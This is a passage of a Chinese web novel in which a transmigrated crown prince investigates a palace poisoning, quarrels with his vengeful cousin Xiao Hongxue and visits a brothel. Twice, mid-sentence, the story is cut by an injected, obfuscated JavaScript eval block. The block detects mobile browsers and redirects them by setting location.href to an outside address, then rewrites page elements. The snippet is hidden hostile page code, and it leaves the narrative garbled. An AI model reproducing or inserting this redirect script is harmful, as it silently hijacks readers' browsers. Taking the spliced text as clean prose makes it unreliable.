姜兮笑着摇了摇头,杨惜觉得姜兮这些话其实并不是说给他听的,更像是自言自语,但他没有出声,只是安静地聆听她讲述往事。 “被罚在闺房里弹琴绣花的那段时日里,我终日怏怏不乐,精神倦怠。当时我母家的一位表兄也寄住府上,他见我那副模样,便寻了个父亲出门应酬,不在府中的日子,悄悄带我乔装去了趟平康里。” “我们那日在平康里,喝到了全长安最醇美的好酒,见到了全长安最漂亮的姑娘。” 姜兮讲到这里时,那副憔悴的病容变得神采奕奕,双眸都发亮,语气里满是怀念。 “有此先例,我便常作男儿打扮,偷偷去平康里饮酒。” “……后来,我在尚书府门前第一次见到了陛下,两月后,册我为妃的圣旨传到了尚书府。” “入宫之后,由于宫规森严,须得时刻谨言慎行,除了阖宫节庆之日,妾身再不敢放肆饮酒了。” “为了戒掉酒嗜,妾身只好以茶来代酒。喝惯了酒的辛烈滋味之后,一开始妾身极不适应茶水的寡淡,总要侍女额外混些糖或牛乳进去,慢慢的,妾身倒也真的能品出些滋味来了。” “现在让妾身饮茶没什么,若是要妾身饮酒,妾身反倒要连连摇头了。” 姜兮讲完这句话后,又不再说话了,捧起面前的茶盏轻轻抿了一口。 杨惜敏锐地察觉到姜兮讲话时无意识地用了“我”、“妾身”两种口吻,她似乎极其怀念自己尚未入宫时那段自由烂漫的时光,连回忆时都会不自觉地沉湎其中。 “酒味醇烈,茶味甘甜,昭仪娘娘是饮尽世间滋味的人。” 杨惜放下一直拈在掌中把玩的空茶杯,屏退一旁侍候的宫人,尽量用和缓的语气道: “……除了和柳贵卿有些纠葛外,昭仪娘娘在宫中这三年,可曾与谁结过仇怨?” “殿下知道了?” 姜兮面上神色有一瞬慌乱,撑着桌案站起,而后又缓缓地坐回了。 “嗯。”杨惜支颐,手指漫不经心地描摹着桌布上的绣纹。 “抱歉……妾身失态了。” “但妾身和柳贵卿之间是清白的,妾身甚至昨日才明白他一直对妾身……姜柳两家是世交,妾身与他自幼一起长大,妾身一直把他视作亲兄长。” “昨日妾身去慎刑司质问了他一番,饺饵一事,应当不是他所为。” “本宫知道,本宫昨日亦去了慎刑司,所以今日特来问问昭仪娘娘,饺饵一案,除了柳贵卿之外,可还有其他的怀疑人选?” 姜兮听了这话,木然地抚了抚自己平坦的小腹,苦苦思索了一番,道:“……没有。” “当真没有吗,昭仪娘娘可仔细想过了?”杨惜探究地望着姜兮的两眼。 “妾身喜静,无意于宫斗争宠,素日和各宫姐妹的关系尚可……至少,明面上,并没有谁与妾身关系交恶,甚至做出这等、这等丧心病狂之事,让人母啖食亲子……” 姜兮痛苦地闭上眼,手掌攥紧了案上绸布,呼吸陡然急促,几行热泪抑制不住地淌了满脸。 杨惜见她坚持说没有与人结怨,怕咄咄追问下去会刺激到她,连忙唤来了钟粹宫的侍女好生照料她,起身走出了前堂。 守在门外的贺萦怀用眼神询问了一下结果,杨惜摇了摇头。 两人正准备打道回府,忽然听得几声犬吠。他们循着声音找去,发现一入钟粹宫就跑没影了的锅巴正在一棵白梅树下刨着泥壤。 它见杨惜和贺萦怀找来后,呜呜低吼,绕着那片泥壤走来走去,很是着急的模样。 两人对视一眼后,贺萦怀会意,拔出佩剑将泥壤刨开,在泥壤下一米深的地方,掘出了一只布袋。 杨惜看着那土黄色的麻布袋,紧张地咽了下口水,生怕里面装着些什么人民碎片之类的惊悚的东西,好一番心理建设后,他将布袋解开一看,发现布袋里居然只装着一个花钿盒子。 23. 花钿 杨惜将那只花钿盒子掂在掌中仔细量视,见盒身上镂着些牡丹、蝴蝶一类的纹样,四角还绲了金边,做工非常精致。盒子虽已经褪色掉漆,仍散发着阵阵清烈奇异的香气。 锅巴应该就是嗅到了这盒子上的奇香,才刨起梅树下的泥壤的。 杨惜将花钿盒开启,发现其中盛放着一些已裁成了各式花钿的金箔、红纸、茶油花饼等,在黄、红、绿三色的花钿旁还摆着呵胶——女子上妆时正是用呵胶将花钿贴在眉心处。 他取出其中几枚花钿仔细察看,却并没有发现什么异常,这应该就是一只极其普通的花钿盒。 “殿下,这盒子底部好像刻着什么。” 这时,站在一旁的贺萦怀朝那只花钿盒子的底部一指。 杨惜闻言把盒盖合上,将底部翻过来,发现盒底果然镌着两个斑驳的小字:“虫二”。 “虫二……是何意?” 贺萦怀凝眉望着那两个字,喃喃道。 “风月无边。” 杨惜几乎瞬间就反应过来了,用手指在贺萦怀的掌心上演画,道: “‘风月’也作‘風月’,‘風月’二字去掉边框,便是‘虫二’,所以‘虫二’就是‘风月无边’的意思。” 贺萦怀恍然大悟,赞道:“殿下真是博学多识。” 杨惜淡淡一笑。他从前上历史系专业课时,授课老师为了防止学生犯困,时常给他们延伸一些极具趣味性的冷门史学知识,就比如这“虫二”。 当时老师往黑板上写下“虫二”两字,说泰山斗母宫大门附近有山石上刻着“虫二”,是济南才子刘廷桂爬泰山时题写。他请全班同学猜测其义,同学们面面相觑,直至下课都无人能解。 最后下课铃声响起,老师只说了一句“风月无边”,然后在“虫二”两字上添了边框,成了“風月”,就扔下粉笔,端着保温杯潇洒地走出了教室,留下满室惊叹的学生。 这种风雅又能拿出去装x的知识,杨惜当然不会忘记。 这不,现在就派上用场了。 杨惜隐隐感觉这只花钿盒子的来历可能不简单,于是用绢帕将它包裹起来,置于怀中,在离开钟粹宫之前,还不忘同贺萦怀一起将被掘开的泥壤还原。 锅巴在一旁歪着头看两人刨土又填土,欢快地晃着尾巴,低呜几声,杨惜摸了摸锅巴毛茸茸的脑袋,道:“我们走吧。” * 回到显德殿之后,杨惜将那只花钿盒子交给了称心,谎称是某位他一见钟情的姑娘的物什,托称心去试着打听打听这盒子的来历。 称心从前就没少帮他们这位荒淫好乐的太子殿下干些寻芳问艳的差事,故也没说什么,低眉称是,接过花钿盒办事去了。 天色还早,今日学宫也恰好休沐,杨惜无所事事,决定拉着贺萦怀在显德殿里四处走走。 锅巴极其亲近杨惜,一直跟在他身后,贺萦怀见状,屈下身温情地朝锅巴张开双臂,想要抱着它走,锅巴却惊恐地吠叫两声,极其抗拒地绕过了他,贴着杨惜走。 “怎么……突然不让抱了?” 贺萦怀有些迷茫地望着锅巴。 “可能是嫌你抱狗的风格过于豪放了吧。” 杨惜忍俊不禁,拍了拍贺萦怀的肩,和他并排走着,二人在显德殿里漫无目的地闲逛起来,锅巴跟在他们身后。 然而杨惜这一逛,就又“不小心”逛到了碧梧院,某位男主大人的窗前了。 萧鸿雪正在临窗写字,面前突然投下一片阴影,将光线遮挡住了,他蹙着眉抬头望去,发现杨惜双手正撑着窗沿,站在窗前笑眯眯地看着他。 杨惜俯下身将锅巴举了起来,轻轻捏着它的爪子朝萧鸿雪挥了挥手,道:“阿雉,别整天闷在屋子里了,多无聊啊,也不利于养伤,要不要出来和我们一起玩?” 萧鸿雪看着爪子灰脏、对自己吐舌晃尾的锅巴,和一旁满面笑意的杨惜,面无表情地站起身,欲将窗扇合上。 锅巴见状迅捷地从杨惜的手上跳下,而杨惜反应不及,差点被窗扇夹了手。 这时,一柄莹白的细剑倏地自窗外挥来,抵住了窗扇,生生止住了萧鸿雪的动作。 “殿下,手没事吧?” 贺萦怀一手持剑,一手将杨惜的手掌抬起仔细查看,眉宇间满是急切与关心。 “本宫无碍。”杨惜随意地摆了摆手。 “殿下,他是?” 贺萦怀转过头,眯起眼打量着窗后的萧鸿雪。 萧鸿雪也顺着卡在窗扇缝隙的那柄剑抬头望去,对上贺萦怀冷淡清肃的眼神,唇角扬起一抹冷冷的笑意。 这位,应该就是显德殿的宫人们之前谈及的为了太子拒任州牧的贺小侯爷,传闻二人关系极其暧昧,如今看来果然不假,还真还挺护着太子的啊…… “他是本宫的族弟,名唤萧鸿雪。”杨惜见萧鸿雪面色不善,不自觉放低了声音。 “可是昭王殿下的幺子?”贺萦怀略略思忖了一番,问道。 “正是……萦怀,你先把剑放下,阿雉不愿意出来就算了。” 杨惜见贺萦怀直接对萧鸿雪拔剑相向了,也是一惊,连忙去拦贺萦怀的剑。 杨惜心想本来就是自己先来骚扰萧鸿雪的,贺萦怀却为了维护自己而动武,这也太像他带着打手来霸凌萧鸿雪了…… 萧鸿雪本就因写字被打扰而有些不耐和烦躁,想合上窗扇又被贺萦怀出手阻拦,他于这剑拔弩张的紧张气氛中,面色阴鸷地看着眼前的两人。 这两人一个冷峻深沉,一个阳光潇洒,样貌都是一等一的出挑,两人并肩而立,这幅在旁人眼中赏心悦目的画面,落在萧鸿雪眼中却怎么看怎么不顺眼——太子这是带着他的男宠来消遣自己吗? “呵……” 萧鸿雪眯起眼,抱臂冷笑一声,倏然一拍桌案,攥起摆在桌案一角的那把佩剑,冲着贺萦怀的剑直直迎了上去。 其实贺萦怀本来无意与萧鸿雪对峙,只是见杨惜的手险些被伤到,才下意识地拔剑出鞘。 贺萦怀根本没料到萧鸿雪竟会突然出手,尚不及挪剑招架,只见空中划过一道雪亮耀目的轨迹,萧鸿雪的剑尖已及其喉。 “阿雉,别!”杨惜惊呼出声。 萧鸿雪闻言冷淡地瞥了杨惜一眼,置若罔闻般,那双修长纤瘦的、正执着剑的手仍旧抵着贺萦怀的脖颈,分毫不动。 “太子哥哥……你知道吗?” 萧鸿雪望着杨惜脸上慌乱的神色,突然轻轻笑了一声。 萧鸿雪笑起来时,本就精致漂亮的五官更是秾艳得摄人心魄,但杨惜与他对视,发觉他眼底只有一片冰冷,毫无其余情绪,故而被他笑得有些不寒而栗。 “阿雉啊,素来讨厌别人扰我清净……更讨厌,别人在我眼前演什么情深意重、互相维护的戏码。” “如果他真的是太子哥哥的心尖至爱……哥哥可得把他护好了,藏好了。” 萧鸿雪漫不经心地转动了一下手腕,剑尖也随着他腕部动作,在贺萦怀的脖颈边旋转了一圈。 “千万……别被我找到。” “也千万,别炫耀到我面前来。” “听明白了吗?” “哥哥好像总是忘记,那阿雉就再提醒哥哥一遍,我们之间没有深情厚谊,只有深仇宿怨,即使阿雉无法直接对你出手,但是转而折磨、报复哥哥在意的人,似乎未尝不可啊。” “阿雉很早以前就说过的吧,我不会逆来顺受,只会拼死报复……所以,殿下,你到底是凭什么一再来欺辱我、作践我?” 话音未落,萧鸿雪执剑自窗口腾身跃出,贺萦怀被他逼得向后退了几步,萧鸿雪转头似笑非笑地睨了杨惜一眼。 “你当阿雉,是什么?” 杨惜听着萧鸿雪那蛊惑撩人的嗓音,喉咙有点发干,正要说些什么,只听得身旁的贺萦怀也冷哼一声,他见萧鸿雪和杨惜之间气氛诡异,来者不善,便再无顾忌地扬剑与萧鸿雪对打了起来。 剑光霍霍,火星四溅中,阵阵金铁交击之声不绝于耳。 贺萦怀胳臂肌肉紧绷,动作流畅而有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824250|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,剑风沉稳,剑尖在空中划出一道道优美的弧线。 而萧鸿雪的剑风狠辣凌厉,与贺萦怀完全不同,他紧攥剑柄,苍白的手背上青筋显凸,手指关节因用力而发白。 萧鸿雪肘腕快速颠转着,脚步随着剑势的移动而灵活腾挪,时进时退,身形矫健而敏捷。 一时间,风声呼啸、剑声嘶鸣,两个人竟打得有来有回,难分胜负。 杨惜被四溅的尘土催得咳嗽了几声,往旁边退了一步。 不是,贺萦怀和萧鸿雪怎么还打起来了?虽然近距离观赏姑苏贺郎和武帝比剑对招确实挺激动人心的,但手心手背都是肉,无论最后这两人谁落败负伤,都是杨惜不愿意看到的。 萧鸿雪要是被贺萦怀伤了,那本就像冻住了似的纹丝不动的好感数值条会不会直接变成负分犹未可知,而贺萦怀则是为了护着自己才出手的,是自己身边最得力的臂膀,杨惜也不能眼睁睁地看他受伤。 杨惜环顾四周,见院心摆着一排武器架,从那一众刀剑枪兵中取下了一把弓箭。 用剑肯定是拦不住那两位以剑名世的英雄豪杰的,其余的武器于杨惜而言又太过沉重,他以前学过射击,估摸着射箭的原理应该也没有差得很远,便拣出了一把弓箭,搭弓拉弦。 “……闹够了没有?” “都给本宫住手。” 杨惜左手持弓,右手拉弦,他是天生的左撇子,与常人射箭姿势不同。这弓比他想象中要重,又因为天气寒冷,弓与弦都被冻得硬冷如冰,他用起来不太称手。 但杨惜见那边两人战况激烈,情急之下,还是咬着牙冲两人身间的空隙射了一箭,想要逼停他们。 结果那支箭好死不死,堪堪擦着萧鸿雪的脸颊过去,射断了他鬓边的几缕发丝,还在他颊上留下了一道细长的伤口。 这发箭矢之后,二人果然停手了。 萧鸿雪手执长剑,银发飞扬,偏过头,冷冷地瞪了杨惜一眼。 完、完蛋了…… 虽然杨惜并没有偏帮谁的意思,真的只是想劝架,但现在怎么看怎么像是他有意拉偏架,维护贺萦怀啊! 杨惜连忙将那把弓箭丢到一旁,跑到萧鸿雪身前,看见萧鸿雪那张玉一样白净无瑕的脸被划开一道伤口,正向外渗着鲜红的血珠。 杨惜见了血,眼前一阵眩晕发黑,他强逼自己稳住心神,紧张无措地开口道: “阿、阿雉啊,兄长不是故意的……” “你的脸……” 杨惜颤抖地抬起手,想要仔细查看萧鸿雪的伤。 萧鸿雪额角晶莹的薄汗顺着脸廓滴下,他勾唇一笑,轻轻捉住杨惜的手,拦下了他的动作。 萧鸿雪微微侧身,附在杨惜耳旁轻声道:“太子哥哥不必留情,下次,可以射得更准一点。” 他攥起杨惜的手,用杨惜颤抖的手抚挲着自己白皙的脖颈,细细描摹起自己温热皮肤下的血管。 “就是这里,下次朝这里来,记住了吗,哥哥?” 萧鸿雪纯真地笑了笑,因他面上染着血,这笑显得分外病态妖异。 “毕竟,哥哥会心软留情,阿雉不会。如果哥哥舍不得杀掉阿雉的话,就等着日后阿雉来好好‘报偿’哥哥吧。” 萧鸿雪松开杨惜的手,指尖漫不经心地抚过长剑细薄的剑身,莹白的剑光照映着他淡漠的眼眸。 “若有一日,哥哥真的落到阿雉手中,阿雉保证,一定会让哥哥生、不、如、死……” 萧鸿雪的声线偏冷,带着几分微哑,在静谧的环境中听起来像是击玉般清透冰冷。 很快,他敛了笑意,冷冷地推开身前的杨惜。 杨惜正在发怔,被萧鸿雪倏地一推,一时没稳住身形,向后退了好几步,眼看要摔倒,贺萦怀将他接进怀里扶了一把,才勉强站稳。 “阿雉乏了,太子哥哥。” “带着你的相好,走远些。” 萧鸿雪收剑回鞘,用指腹随意地拭了拭颊侧的血迹,他睨着面前的两个人,冷笑一声,便转身进屋了。 24. 莺娘 好一晌过后,杨惜才从方才萧鸿雪那美得惊心动魄的笑容和那番充满威胁意味的话语中回过神来。 指掌间似乎还残留着萧鸿雪脖颈肌肤那柔腻温热的触感,杨惜将自己发颤的手掌合拢,望着眼前已被紧紧关上的雕花窗扇,有些哽咽。 别人或许不懂萧鸿雪亲口承诺的“生不如死”的含金量,可杨惜作为《燕武本纪》的真爱读者,却是懂得不能再懂了。 萧鸿雪这人睚眦必报到他的仇人就算是死了也要被他掘出来鞭尸啊鞭尸。 谢韫那具被萧鸿雪曝于城墙上十三年,几乎给生生风干成了一挂熏肉的尸首就是最好的例证——杨惜甚至觉得这谢韫其实还挺好命的,在萧鸿雪挥兵复位之前就被他派去的刺客给毒死了,走得很安详,没有落到萧鸿雪手里。 要知道原主萧成亭单是给萧鸿雪下药未遂这一条,就受了宫刑和膑刑,整个下半身都被废掉。 而自己不仅在刚穿书时对萧鸿雪行凶未遂,今日又意外伤了萧鸿雪的脸,简直是雪上加霜,死上加死…… 杨惜从身后贺萦怀的怀抱中轻轻挣出,忧愁地叹了口气。 若日后自己真的落到萧鸿雪手中,只怕下场要比原主的宫刑和膑刑还惨得多,以萧鸿雪的行事作风,他就是直接把自己给削成人彘用来观赏取乐都是意料之中啊! 杨惜发觉自己把舔萧鸿雪刷他好感这件事想得太简单了,任他这些日子以来对萧鸿雪如何嘘寒问暖、关怀备至,人家根本就不为所动。 而且,好感度不见涨也就罢了,该说这萧鸿雪不愧是要当皇帝的人,有着帝王标配的疑心病——自己对他毫无缘由的关心和照顾,反倒让他越来越厌恶自己,怀疑自己对他别有用心了。 杨惜承认,“用心”确实是有的,但也不过是希望萧鸿雪日后登基了能对自己手下留情,放自己平淡过一生的“用心”而已,绝对不是想连哄带骗地把萧鸿雪变成自己男宠的那种“用心”啊! 虽然萧鸿雪那张脸真的生得很美,但远观瞻仰一下就可以了,这可是未来的燕武帝啊,武帝是个阴鸷残暴、心狠手辣的暗黑系君王,杨惜是真的没有走近亵玩的想法和胆量,他只想把小命好好苟着。 只是,杨惜实在想不通到底是哪里出了差错,怎么他想逐渐卸下萧鸿雪的心防,刷刷他的好感就这么困难呢? 都怪《燕武本纪》实在是太大部头了,又是无cp,书中对萧鸿雪感情心理的描写非常模糊,加上杨惜自己看小说时本身也不在乎这些,他看的是朝堂权谋,看的是热血战役,看的是“任脚下的众神为主角铺成一条英雄路,他只有战斗,战斗……” 而且这数百万字下来,杨惜其实早就将小说前面的剧情给忘得差不多了,只大致记得萧鸿雪是如何运用自己惊人的智谋,一路斩斩斩杀杀杀,最后成就霸业的。 可真要他来和少年时期的萧鸿雪培养感情,杨惜确实有些束手无策。 如果萧鸿雪是男同倒还好说,可这偏偏是篇无cp文,别说男人了,女人他好像都不怎么感兴趣啊……不对,什么叫如果萧鸿雪是男同倒还好说啊,我又不是男同。 杨惜摇了摇头。 总之,萧鸿雪在被原主萧成亭下药后很显然是留下阴影了,所以无论自己做什么,哪怕真的只是关心他,在萧鸿雪眼里都像是在欲盖弥彰,心怀不轨。 萧鸿雪每次一见自己,满脸都写着两个词:一个是“烦死了”,另一个是“恐同”。 杨惜觉得,若早知如此,他在发现自己穿成已经亲过抱过萧鸿雪的萧成亭时,就应该当场引剑自刎,总比日后落到萧鸿雪手里“生不如死”的好。 杀又杀不得,舔又舔不动,一个不小心就又把萧鸿雪的黑化值提上去了,他这太子真是当得要多窝囊有多窝囊啊…… “殿下,抱歉……臣方才冲动了。” 贺萦怀的眸光自杨惜纤长流畅的腰线缓缓上移,他见杨惜一直蹙着眉,满面愁容,意识到萧鸿雪在他心里的份量应该不低,有些歉疚地说道。 “不怪你,你也只是想护着本宫罢了。”杨惜闻言转过身,摆了摆手。 “你呢,方才可有受伤?” “谢殿下关心,臣不曾受伤。不过,那位公子的剑法当真卓绝,当年臣跟在师傅身边学剑时,也见识过不少有名的剑客侠士,但少有此等水平,臣方才招架起来很是吃力。” 贺萦怀由衷地赞赏了一句。 杨惜听了这句话,更绝望了。 谢,谢谢啊……我知道萧鸿雪以后把我削成人彘的剑法会很好了,毕竟连有“姑苏一剑”之称的贺萦怀都对他的剑法赞不绝口。 早知道事情会变成这样,打死他都不会来碧梧院惹萧鸿雪这一下的。 不过,奇怪的是,杨惜觉得今日萧鸿雪看见贺萦怀后,似乎有种无名的火气。 这两个人之间本来无仇无怨的,但听萧鸿雪的意思,他好像理解成了自己特意带着“相好”来消遣他,所以他才拔剑威胁自己,就算动不了自己,也会报复自己在意的人? 杨惜毫不怀疑若以后萧鸿雪得势,在自己被萧鸿雪削成人彘后,第一个被连坐的就是自己的“相好”贺萦怀。 不过想想也是,旁人又不知晓自己和贺萦怀之间的渊源,在他们眼里,只怕是贺萦怀在宫中对自己“惊鸿一瞥”之后,便对自己死心塌地,宁可推拒州牧这等要职也要留在自己身边,和自己出入相携,形影不离……听起来好像确实挺给的哈,怨不得旁人误会。 杨惜看向贺萦怀,目光柔和。 小贺哥,你跟了我,不但要被误会成我的“相好”,还要和我一同担负萧鸿雪的恨意。你放心,我就是日后准备跑路,也一定会把你也捎上的。 “……殿下?” 贺萦怀被杨惜这么直勾勾地盯着,想到方才萧鸿雪误会自己是殿下的“相好”,面颊发烫,有些不自在,偏过头咳了一声。 * 钟粹宫。 杜莺娘站在姜兮的寝殿外许久,待将一身雪气散尽后,才走进殿内。她一边将沾雪的外氅递给一旁的宫娥,一边柔声询问道: “你家娘娘……最近身子可好些了?” 杜莺娘乌发如瀑,仅以一根素钗轻轻挽起,额前几缕碎发随风飘动。她眉目秀媚,唇色丰润,举手投足间尽是高雅温婉的气质,仿佛自古画中走出的,袖口飘出芳香的仕女。 小宫娥怀抱杜莺娘的外氅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824251|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,偷眼望她,一时望得有些发痴了,羞赧地答道: “回杜嫔娘娘,我家昭仪娘娘气色较往日好些了,但还是终日神思倦怠,茶饭难进。” “唉……你们千万要将阿衡的衣物、金锁一类的物什收起来,别让她再睹物伤情了。” “还有,天气越发冷了,阿兮手上的冻疮一入冬就总是反复发作,你们可要仔细照顾着,多用暖水为她濯洗,冻疮膏和手炉也要时刻备好。” 杜莺娘唇边抿着温柔的弧度,嗓音极其悦耳动听,犹如乐曲。 小宫娥点头称是,心道这位杜嫔娘娘不愧是江南人氏,与人交谈时这腔调柔美的吴侬软语听得人骨头都发酥。 “饺饵一事……柳贵卿可交待了?是不是他所为?”杜莺娘有意放低了音量。 “这……”宫娥咬了咬唇,似是在思考要不要说。 但她看着眼前杜莺娘温柔的笑颜,还是开了口: “娘娘,您与我家娘娘一向最要好,奴婢不妨偷偷告诉您,我家娘娘昨日去了趟慎刑司,回来后便失魂落魄地喃喃自语,说‘不是他’……” “虽然奴婢不知我家娘娘在慎刑司与柳贵卿谈了些什么,但自娘娘从慎刑司回来以后,就笃信饺饵一事并非柳贵卿所为。” “不是他?可那饺饵分明就是从他宫里送出来的,不是么?” “如若不是他,还会是谁呢,阿兮素来与世无争,在这后宫之内根本不曾与谁交恶啊。” 杜莺娘蹙着秀眉,很是疑惑。 小宫娥摇摇头,“奴婢也不清楚,娘娘待人亲和温柔,到底是何人,竟能做出如此灭绝人性之事……” “不过,陛下将此案交给太子殿下查办了,殿下今早才来问询过我家娘娘。唉,真希望此案早日查明,将那可恨之人绳之以法。” “哦?太子殿下?” 杜莺娘眯起眼,一副若有所思的模样。 “正是。” “……嗯,但愿殿下能早日查出真凶,对阿衡那可怜的孩子做出这种事,简直是丧心病狂。” 杜莺娘回忆起那碗酸苦的饺饵,面色有些发白,她朝小宫娥微微颔首后,向寝殿内走去。 小宫娥望着杜莺娘缓步走进内室,被她那走起路来婀娜多姿的身段所吸引,难以移开目光。 杜嫔娘娘,当真是美人中的美人啊…… 小宫娥在心中感叹道。 杜莺娘抬手撩起珠帘,见姜兮正不言不语地站在窗前,眺望远处那株白梅树。 “你来了。” 姜兮听见了脚步声,没有转过身去看来者是谁,只是轻声开口。 “嗯,我来了。” 杜莺娘望着窗前那个清瘦的身影,柔柔一笑。 * 午膳过后,杨惜正坐在书案前精心雕琢一件物什,忽听得有人叩门。 “进。” 称心捧着那只花钿盒子,推门而入。 “殿下,您托奴婢去寻的这花钿盒子的来历有眉目了。” “手下人打听到,这花钿盒是平康里醉红楼中那些花娘所用的式样。这醉红楼每月都会向脂粉铺定制一些包装式样统一的胭脂水粉,分发给花娘们。” 25. 有鬼 “你说这花钿盒来自平康里的……醉红楼?”杨惜闻言,抬首问道。 “正是。”称心点了点头。 杨惜疑惑了,心想这醉红楼的前缀既然是“平康里”,那一听就是间青楼没跑了……可钟粹宫的梅树下怎么会埋有青楼花娘的花钿盒子? 杨惜将手中的物什放下,站起身,从称心手中接过那只花钿盒,细细端量起来。 等等—— 杨惜脑海中突然灵光一闪。 他想起那日他去钟粹宫询问姜兮可曾与谁结过仇怨,姜兮在向他陈说往事时,曾提及自己常乔装打扮去平康里饮酒。 杨惜的直觉告诉他,姜兮和这醉红楼之间肯定有些不为人知的联系——或许那醉红楼花娘的花钿盒正是她亲手埋下的也说不定。 不管怎么样,带着这盒子去趟醉红楼肯定能有些发现,说不定,还与饺饵案有关。 称心观察着杨惜脸上变化的神情,适时道:“殿下,奴婢已经备好车马,您可要现在就出发去醉红楼?” 杨惜心道这称心不愧是自小就跟在原主身边伺候的人,办事就是利落上道啊。 “嗯……但本宫只与萦怀微服同去,无需严整浩荡的车马仪仗,那太惹人注目了,本宫不想节外生事,你吩咐其余随从暗中跟着即可。” “是。”称心垂眉颔首。 “另外,称心,你替本宫送些祛疤的药膏去碧梧院。” 想起萧鸿雪颊侧那道细长的伤口,杨惜揉了揉眉心,有些头疼。 虽然还不知道这件事该如何处理,但眼下查案为重,他打算去完醉红楼再回来向萧鸿雪负荆请罪。 * 京都长安是整个大燕国最繁华的城池,达官贵人如云萃集,但因市坊宅府间道路狭窄,车高马大,时常出现道路拥挤、交通堵塞的情况。因不肯相让而争路抢道的纠纷时有发生,有的甚至还引发了人命官司。 因此,当两车相逢于狭路,为了避免不必要的误会和冲突,常会“夹毂问君家”,也就是打听对方的身份家世,官阶低的一方让官阶高的、地位更显赫的一方先通过。 黄昏时分,杨惜和贺萦怀刚乘着一驾形制素朴、毫不起眼的车马驶入平康里,就和另一驾金镳玉辔的华车迎面撞上了。 那华车上的马夫甩了甩手中的马鞭,沙尘四溅,他趾高气昂地冲贺萦怀道:“此乃靖北侯世子的车马,你等速速退让。” 庆平长公主萧辛阳是先帝的长女,长于政治韬略,颇有其母窦太后的风范,在朝中势力不可小觑。后来,她又尚了统辖凉州境的靖北侯贺兰敏为驸马,生下了世子贺兰月。 母族和父族都如此显赫,哪怕是在达官显宦云集的长安,除了宫里的贵人,这贺兰月也是能横着走了。由是,贺兰月的车夫在和其它车马狭路相逢时,干脆就省略了询问对方身份这个流程,直接让其它车马闪开。 可惜他不知道,他今天撞上的这驾车马里,正巧就坐着一位宫里的贵人。 在前方驾车的贺萦怀闻言蹙起眉,正待开口,车内的杨惜悠悠道:“无碍,萦怀,让他先行就是。” “我们微服出巡,为的就是不惹人注意。” “是,殿……少爷。” 贺萦怀颔首,将马车驶往旁边,让出路来。 那辆华车叮铃当啷地驶远了。 一晌后,贺萦怀将车马停在了醉红楼门前,为杨惜撩起车帘。 车里的杨惜身着青衫,腰悬玉带,乌发高束,悠悠地摇着那把书着“掷果潘郎”的折扇,俨然一位风流俊俏的公子哥。 其实该说不说,除了体格略虚,杨惜还挺满意萧成亭这副皮相的,什么衣裳穿上身都还挺像那么回事,方才他在显德殿里更衣乔装时就没忍住,玩起了“奇迹亭亭”,最后穿了现在这一身高分穿搭出门了。 杨惜搭着贺萦怀的手臂下了车,竟又见到了方才那辆金碧辉煌,极显主人地位尊贵的华车。 但杨惜仅是瞥了一眼,并未过多注意。他眯了眯那双漂亮的桃花眼,打量起头顶那块镌着“醉红楼”三个烫金字的匾额,探掌摸了摸用细链系在怀间的那只花钿盒子。 这里就是历来所有穿越者都要去打卡的5A级风景区——青楼了,想想还真是有些心潮澎湃啊。 二人走入楼中,大厅里舞乐笙歌、热闹非凡,他们刚拣了角落的一张桌子坐下,立刻有名妖颜如玉、衣着清凉的女子前来招待他们。 “二位公子是头回来么,可有相好的姑娘?” 杨惜原想扮成一个风流纨绔,与花娘们谈笑风生,伺机从她们口中撬出有关这花钿盒的情报。 可在那名女子笑着伸出藕白的胳臂,朝他挥了一下带着香气的绢帕后,他瞬间就破功了,双颊发烫,面红得能滴出血。 杨惜对面的贺萦怀显然也不擅长应付这等场面,他抱剑危坐,薄唇紧闭,斜飞入鬓的剑眉下是双深沉似海的眼眸,然而,他的眸光也半点不敢落在那女子身上。 一时间,这对坐的两人犹如一对沉默的和尚兄弟,皆是一副清心寡欲相,与周遭喧哗热闹的气氛格格不入。 女子当他们是头回来此寻欢,有些放不开,她掩面偷笑,主动靠近将头埋得很低的杨惜,想要引导他说出自己的需求。 “咦,如……如意?” 可待那女子看清杨惜的脸后,面上笑容一滞,眼神中满是疑惑。 “贺兰世子不是叫你去楼上作陪了么,你怎么会在这里,还穿成这样?” 杨惜本来很是局促,无意识地反复摩挲着自己右耳垂边那条金色珠链,突然被这女子的话问得一愣,也顾不上紧张害羞了,抬头问道:“如意?” “什么如意?” 这道磁性清越的男声听得那女子一愣,她反应过来自己认错了人,忙道:“抱歉……公子长得太像奴家一位楼中姐妹了——不是折辱公子的意思,是真的像极了,红痣翠眼,两眼边都有滴泪痣。” “所以奴家才将您错认为了她,还请公子勿怪。” 哇,意思就是这醉红楼里还有一个性转版的萧成亭? 杨惜来了兴致,想要向她打听更多,但他嘴唇刚蠕动了一下,在望见那女子裸露在外的白皙肩颈后,又迅速把头低了下去。 对面的贺萦怀也一直沉默不语,眺望远处。 那女子见这两人实在奇怪,也不与他们纠缠了,随手招呼了一个杂役丫头过来给他们看茶,自己则偷偷去寻了老鸨。 被招呼来给杨惜和贺萦怀看茶的这个杂役丫头面上毫无血色,明明自粗布衣裳中伸出的手脚细瘦得有些骇人,腹部却有肿块高高隆起,呈四肢瘦小而躯干臃肿的诡异模样。 她行动时频频用手捂着腰,做起事来似乎很是吃力,杨惜不由得多注意了她两眼。 